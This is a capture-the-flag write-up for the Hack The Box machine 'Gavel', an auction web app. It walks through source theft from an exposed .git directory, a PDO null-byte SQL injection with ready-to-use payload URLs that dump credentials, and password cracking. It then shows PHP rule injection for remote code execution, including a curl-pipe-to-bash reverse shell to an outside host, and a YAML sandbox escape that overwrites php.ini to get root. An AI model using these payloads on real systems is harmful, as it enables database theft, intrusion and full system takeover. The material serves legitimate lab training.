Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Gavel]
└─$ nmap -sC -sV -Pn 10.129.242.203 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-06 04:13 UTC
Nmap scan report for 10.129.242.203
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.84 seconds
Let's add gavel.htbto /etc/hosts
Page check
This is an auction platform—containing auction items, bids, and users. It supports self-registration and login.
We can create an account and login to access to the dashboard

But we still not find anything interesting here, let's try to fuzz the directory
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Gavel]
└─$ dirsearch -u 'http://gavel.htb' -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/wither/Templates/htb-labs/Medium/Gavel/reports/http_gavel.htb/_25-12-06_04-18-58.txt
Target: http://gavel.htb/
[04:18:58] Starting:
[04:19:10] 301 - 305B - /.git -> http://gavel.htb/.git/
[04:19:10] 200 - 3B - /.git/COMMIT_EDITMSG
[04:19:10] 200 - 23B - /.git/HEAD
[04:19:10] 200 - 240B - /.git/info/exclude
[04:19:10] 200 - 454B - /.git/info/
[04:19:10] 200 - 136B - /.git/config
[04:19:10] 200 - 407B - /.git/branches/
[04:19:10] 200 - 616B - /.git/
[04:19:10] 200 - 73B - /.git/description
[04:19:10] 200 - 486B - /.git/logs/
[04:19:10] 200 - 670B - /.git/hooks/
[04:19:10] 200 - 422B - /.git/logs/HEAD
[04:19:10] 301 - 315B - /.git/logs/refs -> http://gavel.htb/.git/logs/refs/
[04:19:10] 301 - 321B - /.git/logs/refs/heads -> http://gavel.htb/.git/logs/refs/heads/
[04:19:10] 200 - 422B - /.git/logs/refs/heads/master
[04:19:10] 301 - 316B - /.git/refs/heads -> http://gavel.htb/.git/refs/heads/
[04:19:11] 200 - 41B - /.git/refs/heads/master
[04:19:11] 301 - 315B - /.git/refs/tags -> http://gavel.htb/.git/refs/tags/
[04:19:11] 200 - 467B - /.git/refs/
[04:19:11] 200 - 219KB - /.git/index
[04:19:12] 403 - 274B - /.ht_wsr.txt
[04:19:12] 200 - 2KB - /.git/objects/
.gitmust be our next target. I would use git-dumpto help us get the repo
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Gavel]
└─$ git-dumper http://gavel.htb ./git
Now we can review the source code here
$ tree git -a
git
├── admin.php
├── assets
[ ... nip ...]
│ ├── jquery
│ │ ├── jquery.js
│ │ ├── jquery.min.js
│ │ ├── jquery.min.map
│ │ ├── jquery.slim.js
│ │ ├── jquery.slim.min.js
│ │ └── jquery.slim.min.map
│ └── jquery-easing
│ ├── jquery.easing.compatibility.js
│ ├── jquery.easing.js
│ └── jquery.easing.min.js
├── bidding.php
├── .git
│ ├── COMMIT_EDITMSG
│ ├── config
│ ├── description
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg.sample
[ ... nip ...]
├── includes
│ ├── auction.php
│ ├── auction_watcher.php
│ ├── bid_handler.php
│ ├── config.php
│ ├── db.php
│ └── session.php
├── index.php
├── inventory.php
├── login.php
├── logout.php
├── register.php
└── rules
└── default.yaml
293 directories, 3753 files
Now we can use snykto scan the vulnerability of the source code
Testing /home/wither/Templates/htb-labs/Medium/Gavel/git ...
Open Issues
✗ [LOW] Use of Password Hash With Insufficient Computational Effort
Path: assets/vendor/fontawesome-free/js/conflict-detection.js, line 521
Info: MD5 hash (used in rawMD5) is insecure. Consider changing it to a secure hashing algorithm.
✗ [LOW] Use of Password Hash With Insufficient Computational Effort
Path: assets/vendor/fontawesome-free/js/conflict-detection.js, line 565
Info: MD5 hash (used in rawMD5) is insecure. Consider changing it to a secure hashing algorithm.
✗ [LOW] Use of Password Hash With Insufficient Computational Effort
Path: assets/vendor/fontawesome-free/js/conflict-detection.js, line 562
Info: MD5 hash (used in hexMD5) is insecure. Consider changing it to a secure hashing algorithm.
✗ [LOW] Use of Password Hash With Insufficient Computational Effort
Path: assets/vendor/fontawesome-free/js/conflict-detection.js, line 587
Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm.
✗ [LOW] Use of Password Hash With Insufficient Computational Effort
Path: assets/vendor/fontawesome-free/js/conflict-detection.js, line 589
Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm.
✗ [LOW] Use of Password Hash With Insufficient Computational Effort
Path: assets/vendor/fontawesome-free/js/conflict-detection.js, line 592
Info: MD5 hash (used in md5) is insecure. Consider changing it to a secure hashing algorithm.
✗ [HIGH] SQL Injection
Path: inventory.php, line 21
Info: Unsanitized input from an HTTP parameter flows into prepare, where it is used in an SQL query. This may result in an SQL Injection vulnerability.
╭──────────────────────────────────────────────────────────────────────────╮
│ Test Summary │
│ │
│ Organization: wither-rebirth │
│ Test type: Static code analysis │
│ Project path: /home/wither/Templates/htb-labs/Medium/Gavel/git │
│ │
│ Total issues: 7 │
│ Ignored issues: 0 [ 0 HIGH 0 MEDIUM 0 LOW ] │
│ Open issues: 7 [ 1 HIGH 0 MEDIUM 6 LOW ] │
╰──────────────────────────────────────────────────────────────────────────╯
Now let's review this source code and check how to exploit it
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
The $col variable is passed directly to the statement, which makes some minor cleanup modifications to the user-input $_REQUEST['sort']. However, a problem remains that makes SQL injection more difficult. All backticks are removed from the input, and then the entire input is wrapped in backticks again. In SQL, backticks are used to reference table or column names, and I cannot break this restriction.
SQL injection in Pod's prepared statement
There is an article teach us how to bypass it
https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/
I will simply explain that
Inject a null byte to confuse the parser
The PDO MySQL scanner's backtick rule uses ANYNOEOF = [\x01-\xFF]. That excludes \x00. When the parser hits a null byte inside a backtick string, it backtracks and falls through.
The request would be
?col=%00&name=x
The SQL seen
SELECT `\0` FROM fruit WHERE name = ?
It would give the error message
Fatal error: Syntax error near '`'
The null byte alone just causes a MySQL error. We need to slip a ? in before the null byte, so PDO's fallback treats it as a bind placeholder.
Inject ? before the null byte
With ? placed before \x00, the backtick-string parse fails, the opening backtick is treated as plain text (skipped), and PDO identifies our ? as a positional bind parameter.
The request would be
?col=?%00&name=x
The SQL seen
SELECT ?\0` FROM fruit WHERE name = ?
↑ ↑
our injected bind param #1 original bind param #2
It will give the error message
SQLSTATE[HY093]: number of bound variables does not match number of tokens
Two ?s detected but only one value passed → error. But the injection is real. We just need to eliminate the second ?.
Cut off the original ? with a comment
Append a # comment after our ? to make PDO stop scanning. The original WHERE name = ? is now inside a comment — PDO only sees one bind param, which it fills with our name value.
The request would be
?col=?%23%00&name=x
The SQL seen
SELECT `'x'#\0` FROM fruit WHERE name = ?
This time get the error message
Syntax error near '`'x'#'
Our name value 'x' was substituted in place of our injected ?. The quotes around x are PDO's escaping. Now we need to break out of them.
Escape the backtick context with a backtick in name
Since our injection lands inside a backtick string context, we put a ` in the name param to close it, then use # to comment out the rest.
The request would be
?col=?%23%00&name=x`%23
The SQL seen
SELECT `'x`#'#\0` FROM fruit WHERE name = ?
/* equivalent to: SELECT `'x` */
This time get the error message
Unknown column ''x' in 'field list'
We're almost there. The column name 'x doesn't exist. But we can replace x with a subquery. Problem: PDO escapes 'in our payload to \'. We need a trick.
Prefix a backslash to re-escape the quote
By prepending \ to our ? in col, after substitution the column becomes \'x — a valid MySQL column name. We can then create a derived table alias that matches exactly.
The request would be
?col=\?%23%00&name=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23
The SQL seen
SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM ...
So the basic poc would be
http://gavel.htb/inventory.php?sort=\?;--+-%00&user_id=x`+FROM+(SELECT+VERSION()+AS+`%27x`)y;--+-
PDO then run the real query:
SELECT `\'x` FROM (SELECT VERSION() AS `\'x`)y;-- -';-- -` FROM inventory WHERE user_id = x` FROM (SELECT VERSION() AS `\'x`)y;-- - ORDER BY item_name ASC
The single quotes in user_id have been escaped and now match the selected column. The y at the end is the name of the derived table (it can be any name).
After running this query, we can see the version of the database

To update this payload, I only need to modify the content I want to search for in the template:
http://gavel.htb/inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+<column>+AS+`%27x`+FROM+<table>)y;--+-
For example, if I wanna show the tables
http://gavel.htb/inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+table_name+AS+`%27x`+FROM+information_schema.tables)y;--+-

Continue to enumerate the user table and the valid column names
http://gavel.htb/inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+column_name+AS+`%27x`+FROM+information_schema.columns+WHERE+table_schema=0x676176656c+AND+table_name=0x7573657273)y;--+-
I want to add a WHERE clause to filter columns from other tables, but I can't use single quotes in the strings because they get escaped. I'll use hexadecimal strings to solve this, where 0x676176656c = "gavel" and 0x7573657273 = "users".

Continue to dump the user table
http://gavel.htb/inventory.php?sort=\?;--+-&user_id=x`+FROM+(SELECT+concat(username,0x3a,password,0x3a,role,0x3a,money)+AS+`%27x`+FROM+users)y;--+-
Then I would use hashcat to crack the password hash
$ hashcat -m 3200 auctioneer.bcrypt /usr/share/wordlist/rockyou.txt
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
RCE in the admin panel
Now we can use the credit auctioneer:midnight1to login to the dashboard page.
Also there is a new page of Admin Panel

Remember we have review the code, I remember that in the bid_handler.php API, it loads the rules associated with the auction as PHP functions and runs those rules based on the bidding information:
$rule = $auction['rule'];
$rule_message = $auction['message'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}
if (!$allowed) {
echo json_encode(['success' => false, 'message' => $rule_message]);
exit;
}
I now have permission to set the rules. The result must return true or false, and a result should never be returned to me. To test remote code execution, I need to use a payload indicating a successful out-of-bounds access. I will try executing the curl command:
system('curl http://10.10.14.40'); return true;
I need to find the same bid on the auction page and bid any amount higher than the current bid. Only then will it trigger. Then we can get the response from the listener
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Gavel]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.242.203 - - [28/Apr/2026 17:03:33] "GET / HTTP/1.1" 200 -
Now let's try to make the reverse shell here.
return system('curl http://10.10.14.40/shell.sh|bash');
Then we can get the reverse shell as www-data
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Gavel]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.40] from (UNKNOWN) [10.129.242.203] 58746
bash: cannot set terminal process group (1060): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ whoami
whoami
www-data
I would like upgrade the shell
upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg
Remember we have get the credit auctioneer:midnight1
Now let's try to su auctioneerwith this credit
whoami
auctioneer
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
Let's upgrade the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Privilege Escalation
I would check sudo -lfirst
auctioneer@gavel:~$ sudo -l
sudo -l
[sudo] password for auctioneer: midnight1
Sorry, user auctioneer may not run sudo on gavel.
I would continue to use linpeasto gather more information
╔══════════╣ Executable files potentially added by user (limit 70)
2025-11-05+12:22:00.2439899130 /etc/console-setup/cached_setup_terminal.sh
2025-11-05+12:22:00.2439899130 /etc/console-setup/cached_setup_keyboard.sh
2025-11-05+12:22:00.2439899130 /etc/console-setup/cached_setup_font.sh
2025-11-04+13:32:46.0879923990 /usr/local/sbin/laurel
2025-10-03+19:35:58.6240656280 /usr/local/bin/gavel-util
2025-10-03+18:37:42.7123377970 /var/www/html/gavel/rules/default.yaml
This binary file—/usr/local/bin/gavel-util—is very prominent.
auctioneer@gavel:~$ ls -l /usr/local/bin/gavel-util
ls -l /usr/local/bin/gavel-util
-rwxr-xr-x 1 root gavel-seller 17688 Oct 3 19:35 /usr/local/bin/gavel-util
auctioneer@gavel:~$ /usr/local/bin/gavel-util
/usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
This unstripped, root-owned, parsable YAML, executable binary is almost certainly our target.
Running the binary file displays several subcommands, among which submit allows me to submit a file. Randomly selecting one of the commands results in a message indicating a missing YAML key.
auctioneer@gavel:/var/www/html/gavel/includes$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
auctioneer@gavel:/var/www/html/gavel/includes$ /usr/local/bin/gavel-util submit /etc/passwd
YAML missing required keys: name description image price rule_msg rule
There's a sample.yaml file under /opt/gavel that I use to build my payload, just like I did before on my web application.
auctioneer@gavel:/opt/gavel$ cat sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
I would try to make a malicious yaml file
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return system('touch /tmp/pwned');"
An error occurred when I submitted my malicious YAML file, indicating a violation of sandbox rules because system() was disabled.
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit pwn.yaml
Illegal rule or sandbox violation.
Warning: system() has been disabled for security reasons in Command line code on line 1
SANDBOX_RETURN_ERROR
I can find a config file from /opt/gavel/.config/php
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
Even though the functionality typically used for remote code execution is disabled, you can still write to arbitrary files using file_put_contents, and since the ini file is also located in a subfolder of/opt/gavel, I can override it.
First, I created a YAML file to replace the contents of php.ini and removed the disable_functions section.
name: "Step1"
description: "Remove disabled functions"
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "You cannot have disabled functions"
rule: "return file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nopen_basedir=/opt/gavel\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\ndisable_functions=\nscan_dir=\nallow_url_fopen=Off\nallow_url_include=Off\n');"
Although it gives us the error message, it did actually worked
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit step1.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
Now we can try to create the reverse shell yaml file
name: "Step2"
description: "Reverse Shell"
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "You cannot have a no reverse shell"
rule: "return system('curl http://10.10.14.40/shell.sh|bash');"
Then run
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit step2.yaml
After running the script, we can get the reverse shell as root
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Gavel]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.40] from (UNKNOWN) [10.129.242.203] 34226
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
root@gavel:/# id
idwh
uid=0(root) gid=0(root) groups=0(root)
root@gavel:/whoami
whoami
root
Description
Gavel is a medium-difficulty Linux machine centered around an auction web platform. The attack path begins with an exposed .git directory, allowing full source code retrieval via git-dumper. Code review reveals a PDO prepared statement that appears safe at first glance — backticks are stripped and re-added around user input — but is in fact vulnerable to a novel PDO parser confusion technique involving null byte injection (\x00), which tricks the emulated prepare layer into misidentifying a bound parameter and enabling SQL injection. This leads to remote code execution through the web application. Once a foothold is established as www-data, credentials recovered from the database allow lateral movement to the auctioneer user. Privilege escalation targets a custom root-owned binary gavel-util that evaluates PHP snippets from user-supplied YAML files inside a restricted sandbox. The sandbox's php.ini — stored under a world-writable path within /opt/gavel — can be overwritten via file_put_contents (not disabled) to clear disable_functions, after which a second YAML payload achieves code execution as root.